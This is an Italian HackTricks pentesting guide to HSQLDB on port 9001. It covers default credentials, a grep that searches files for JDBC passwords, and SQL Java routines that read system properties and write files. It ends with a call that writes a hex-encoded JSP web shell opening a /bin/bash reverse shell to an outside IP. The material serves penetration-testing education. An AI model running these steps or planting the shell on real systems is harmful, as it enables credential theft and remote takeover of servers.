hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
2024-02-10 13:03:23 +00:00

5.5 KiB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

HSQLDB (HyperSQL DataBase) è il principale sistema di database relazionale SQL scritto in Java. Offre un motore di database piccolo, veloce, multithreaded e transazionale con tabelle in memoria e su disco e supporta modalità incorporate e server.

Porta predefinita: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Informazioni

Impostazioni predefinite

Nota che di default questo servizio probabilmente viene eseguito in memoria o è collegato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di ottenere privilegi elevati.

Le credenziali predefinite di solito sono sa con una password vuota.

Se hai sfruttato un altro servizio, cerca possibili credenziali utilizzando

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Nota attentamente il nome del database: ne avrai bisogno per connetterti.

Raccolta informazioni

Connettiti all'istanza del database scaricando HSQLDB e estraendo hsqldb/lib/hsqldb.jar. Avvia l'app GUI (eww) utilizzando java -jar hsqldb.jar e connettiti all'istanza utilizzando le credenziali scoperte/deboli.

Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME.

Trucchi

Routine del linguaggio Java

Possiamo chiamare i metodi statici di una classe Java da HSQLDB utilizzando le Routine del linguaggio Java. Tieni presente che la classe chiamata deve essere nel classpath dell'applicazione.

Le JRT possono essere funzioni o procedure. Le funzioni possono essere chiamate tramite istruzioni SQL se il metodo Java restituisce una o più variabili primitive compatibili con SQL. Vengono invocate utilizzando l'istruzione VALUES.

Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo utilizzare una procedura invocata con l'istruzione CALL.

Lettura delle proprietà di sistema Java

Crea la funzione:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Esegui la funzione:

VALUES(getsystemproperty('user.name'))

Puoi trovare un elenco delle proprietà di sistema qui.

Scrivere il contenuto su un file

Puoi utilizzare il gadget Java com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename situato nel JDK (caricato automaticamente nel classpath dell'applicazione) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. Nota la dimensione massima di 1024 byte.

Creare la procedura:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Esegui procedura:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: